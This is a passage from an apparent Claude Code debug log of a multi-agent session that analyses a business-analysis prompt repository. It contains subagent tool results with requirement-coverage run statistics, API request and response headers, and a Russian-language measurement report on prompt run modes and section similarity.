'acceptance_scenarios': 12}\\nRUN-0065 {'source_workbooks': 1, 'source_rows': 409, 'worksheet_extent': 414, 'sla_rows': 41}\\nRUN-0066 {'source_workbooks': 1, 'source_rows': 409, 'worksheet_extent': 414, 'assessed_requirements': 386, 'verdicts_yes': 338, 'verdicts_partial': 34, 'verdicts_no': 14, 'verdicts_empty': 0, 'atomic_citations': 702}\\nRUN-0067 {'audit_findings_applied': 9, 'functional_requirements': 2, 'removed_current_functionality_requirements': 5, 'acceptance_criteria': 14, 'open_questions': 9}\\nRUN-0068 {'source_images': 7, 'source_rows': 22, 'assessed_requirements': 22, 'verdicts_yes': 3, 'verdicts_partial': 7, 'verdicts_no': 11, 'verdicts_empty': 1, 'atomic_citations': 20, 'template_v4_matches_over_90': 0}\\nRUN-0069 {'source_pages': 3, 'source_rows': 59, 'assessed_requirements': 59, 'verdicts_yes': 20, 'verdicts_partial': 15, 'verdicts_no': 14, 'verdicts_empty': 10, 'atomic_citations': 51, 'template_v4_matches_over_90': 0, 'template_v4_max_similarity': 0.638}\\nRUN-0056 {'verdict': 'works-with-edits', 'success_rate': 0.7, 'success_rate_basis': '\u0414\u043e\u043b\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0424\u0422 (\u0424\u0422-01\u2026\u0424\u0422-10), \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441 \u043e\u043f\u043e\u0440\u043e\u0439 \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e hh.ru \u0438 \u0411\u0417 Mango: 7 \u0438\u0437 10 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e, 3 (\u0424\u0422-04, \u0424\u0422-06, \u0424\u0422-10) \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 OpenAPI-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 hh.ru \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u00ab\u0427\u0430\u0442\u044b\u00bb \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 hh.ru.', 'sources_studied': 15, 'hh_api_docs_read': 12, 'kb_sections_read': 6, 'requirements_assessed': 10, 'critical_gaps': 7, 'token_method': '[REDACTED]', 'duration_active_s': 10800, 'measured': False}\\nRUN-0057 {'verdict': 'works-with-edits', 'success_rate': 0.63, 'success_rate_basis': '\u0414\u043e\u043b\u044f \u0441\u0442\u0440\u043e\u043a-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043e\u043f\u043e\u0440\u043e\u0439 \u043d\u0430 SSOT (\u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u04231, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0435 \u04231\u0447 \u043b\u0438\u0431\u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0420\u0435\u0447\u0435\u0432\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u04233): 64 \u0438\u0437 101. \u041f\u043e \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u043c\u0441\u044f 37 \u0441\u0442\u0440\u043e\u043a\u0430\u043c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445 \u043d\u0435\u0442 \u2014 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u26a0\ufe0f \u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0432\u0435\u043d\u0434\u043e\u0440\u0443 \u0438\u043b\u0438 spike-\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.', 'requirements_form_rows': 106, 'requirements_group_headers': 5, 'requirements_assessed': 101, 'kb_sections_read': 22, 'coverage_l1': 31, 'coverage_l1_partial': 29, 'coverage_l2_twin': 0, 'coverage_l3_sa': 4, 'coverage_none': 37, 'discrepancies_with_vendor_answers': 11, 'vendor_questions': 16, 'pilot_spikes': 7, 'token_method': '[REDACTED]', 'duration_active_s': 14400, 'measured': False}\",\n[2026-09-29T07:45:34.029Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:34.029Z] [INFO]       }\n[2026-09-29T07:45:34.029Z] [INFO]     ]\n[2026-09-29T07:45:34.029Z] [INFO]   },\n[2026-09-29T07:45:34.029Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"uuid\": \"010ffd55-90b8-4f7b-bde0-f515c898abff\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:34.021Z\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:34.029Z] [INFO] }\n[2026-09-29T07:45:34.055Z] [STDOUT] [log_5e93bf] sending request {\n[2026-09-29T07:45:34.058Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:34.060Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:34.065Z] [STDOUT]   options: {\n[2026-09-29T07:45:34.071Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:34.074Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:34.076Z] [STDOUT]     body: {\n[2026-09-29T07:45:34.078Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:34.081Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:34.085Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:34.087Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:34.089Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:34.094Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:34.096Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:34.100Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:34.102Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:34.105Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:34.109Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:34.111Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:34.114Z] [STDOUT]     },\n[2026-09-29T07:45:34.117Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:34.122Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:34.125Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:34.133Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:34.137Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:34.141Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:34.151Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:34.164Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:34.169Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:34.172Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:34.175Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:34.180Z] [STDOUT]     },\n[2026-09-29T07:45:34.188Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:34.194Z] [STDOUT]   },\n[2026-09-29T07:45:34.199Z] [STDOUT]   headers: {\n[2026-09-29T07:45:34.206Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:34.211Z] [STDOUT]     \"anthropic-beta\": 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(external, sdk-cli)\",\n[2026-09-29T07:45:34.248Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:34.251Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:34.254Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:34.258Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1841\",\n[2026-09-29T07:45:34.269Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:34.277Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:34.282Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:34.286Z] [STDOUT]     \"x-client-request-id\": \"3f22dd08-fa4c-42f0-b94b-52292310252b\",\n[2026-09-29T07:45:34.293Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:34.297Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:34.301Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:34.306Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:34.311Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:34.317Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:34.321Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:34.326Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:34.331Z] [STDOUT]   },\n[2026-09-29T07:45:34.333Z] [STDOUT] }\n[2026-09-29T07:45:34.340Z] [INFO] {\n[2026-09-29T07:45:34.340Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"message\": {\n[2026-09-29T07:45:34.340Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"id\": \"msg_011CfXMmFCpfZJRVCKR58pCg\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"content\": [\n[2026-09-29T07:45:34.340Z] [INFO]       {\n[2026-09-29T07:45:34.340Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:34.340Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:34.340Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:34.340Z] [INFO]     ],\n[2026-09-29T07:45:34.340Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:34.340Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:34.340Z] [INFO]       \"cache_creation_input_tokens\": 8233,\n[2026-09-29T07:45:34.340Z] [INFO]       \"cache_read_input_tokens\": 49556,\n[2026-09-29T07:45:34.340Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:34.340Z] [INFO]         \"ephemeral_5m_input_tokens\": 8233,\n[2026-09-29T07:45:34.340Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:34.340Z] [INFO]       },\n[2026-09-29T07:45:34.340Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:34.340Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:34.340Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:34.340Z] [INFO]     },\n[2026-09-29T07:45:34.340Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:34.340Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:34.340Z] [INFO]   },\n[2026-09-29T07:45:34.340Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"uuid\": \"38b35c56-475b-488b-afb7-fb722aadb1dd\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:34.163Z\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"request_id\": \"req_011CfXMmEgJxq8t6T4BygNE9\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:34.340Z] [INFO] }\n[2026-09-29T07:45:34.894Z] [STDOUT] [log_5e93bf, request-id: \"req_011CfXMmSZCPKKn8EQKRJ3cY\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 839ms\n[2026-09-29T07:45:34.897Z] [STDOUT] [log_5e93bf] response start {\n[2026-09-29T07:45:34.900Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:34.908Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:34.911Z] [STDOUT]   headers: {\n[2026-09-29T07:45:34.914Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:34.919Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:34.923Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:34.925Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:34.932Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": 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   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:34.979Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:34.982Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:34.986Z] [STDOUT]     \"cf-ray\": \"a4295e7bdf234d8b-FRA\",\n[2026-09-29T07:45:34.990Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:34.993Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:34.996Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:35.002Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:35.006Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:34 GMT\",\n[2026-09-29T07:45:35.010Z] [STDOUT]     \"request-id\": \"req_011CfXMmSZCPKKn8EQKRJ3cY\",\n[2026-09-29T07:45:35.013Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:35.020Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; 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\"tool_result\",\n[2026-09-29T07:45:36.464Z] [INFO]         \"content\": \"  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n---\\n\\n# \u0421\u043d\u0438\u043c\u043e\u043a \u0432\u0445\u043e\u0434\u043e\u0432 BA Meta-Model \u043d\u0430 2026-09-08\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435** \u0442\u043e\u0433\u043e, \u0438\u0437 \u0447\u0435\u0433\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n> \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0440\u0435\u0436\u0438\u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n> \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432. \u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u2014 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435\\n> [`projects/ba-ai-process/ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n> \u0438 \u0432\\n> [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442: \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u0430\\n> \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n**\u041a\u043e\u0440\u043f\u0443\u0441.** [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82aa73129ec5747af07f790aaf438b0fb6e9`: 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/`,\\n24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 `prompts/` (\u0430\u0440\u0445\u0438\u0432 `prompts/archive/` \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b\\n`*.executable.md` \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b).\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-meta-model-563/measure-meta-model-inputs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-meta-model-inputs.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`meta-model-inputs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/meta-model-inputs.json),\\n\u043b\u043e\u0433 \u2014\\n[`measure-meta-model-inputs.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-meta-model-inputs.log).\\n\\n## 1. \u0420\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d \u0432 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430\\n\\n\u0418\u043c\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `<\u043f\u0440\u0435\u0434\u043c\u0435\u0442>-<\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f>-<\u0440\u0435\u0436\u0438\u043c>`. \u0420\u0430\u0437\u0431\u043e\u0440\\n\u0443\u0434\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 24 \u0444\u0430\u0439\u043b\u043e\u0432: **\u0440\u0435\u0436\u0438\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0438\u043c\u0435\u043d\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430**, \u0430 \u043d\u0435 \u0435\u0433\u043e\\n\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c.\\n\\n| \u0420\u0435\u0436\u0438\u043c | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| --- | --- |\\n| `stepwise` | 10 |\\n| `oneshot` | 9 |\\n| `legacy` | 5 |\\n| **\u0418\u0442\u043e\u0433\u043e** | **24** |\\n\\n\u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 (\u043f\u0430\u0440\u0430 \u00ab\u043f\u0440\u0435\u0434\u043c\u0435\u0442 + \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb) \u2014 **13**. \u041a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c\\n\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f: **1.85 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c**. \u0423 **9 \u0438\u0437 13** \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0435\u0441\u0442\u044c\\n\u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n## 2. \u0420\u0435\u0436\u0438\u043c\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0434\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u0430\\n\\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0430\u0440\u044b \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u043e\u0433\u0440\u0443\u0431\u043b\u0435\u043d\u0430 \u0434\u043e \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0440\u043e\u043a\u0438 \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u044f).\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0430\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 | 13 |\\n| \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u043a\u043e\u044d\u0444\u0444\u0438\u0446\u0438\u0435\u043d\u0442 \u0416\u0430\u043a\u043a\u0430\u0440\u0430 \u043f\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | **0.077** |\\n| \u041f\u0430\u0440 \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 | **0** |\\n| \u041f\u0430\u0440 \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | **0** |\\n| \u041c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u043f\u043e \u043f\u0430\u0440\u0430\u043c | 0.4 (`fr-validation`, `oneshot` \u2194 `stepwise`) |\\n| \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0451\u043c\u043e\u0432 \u0432 \u043f\u0430\u0440\u0435 | \u043e\u0442 1.22 \u0434\u043e 3.30 |\\n\\n\u0412\u043e\u0441\u0435\u043c\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0430\u0440 \u0434\u0430\u043b\u0438 \u0416\u0430\u043a\u043a\u0430\u0440 `0.0` \u2014 \u043e\u0431\u0449\u0438\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043d\u0435\u0442 \u0432\u043e\u0432\u0441\u0435.\\n\\n## 3. \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0430\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 `related_artifacts` \u0432 `metadata.yaml`.\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0441\u0435\u0433\u043e | 67 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 | **50** |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `stepwise`-\u043f\u0440\u043e\u043c\u043f\u0442 | 14 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e 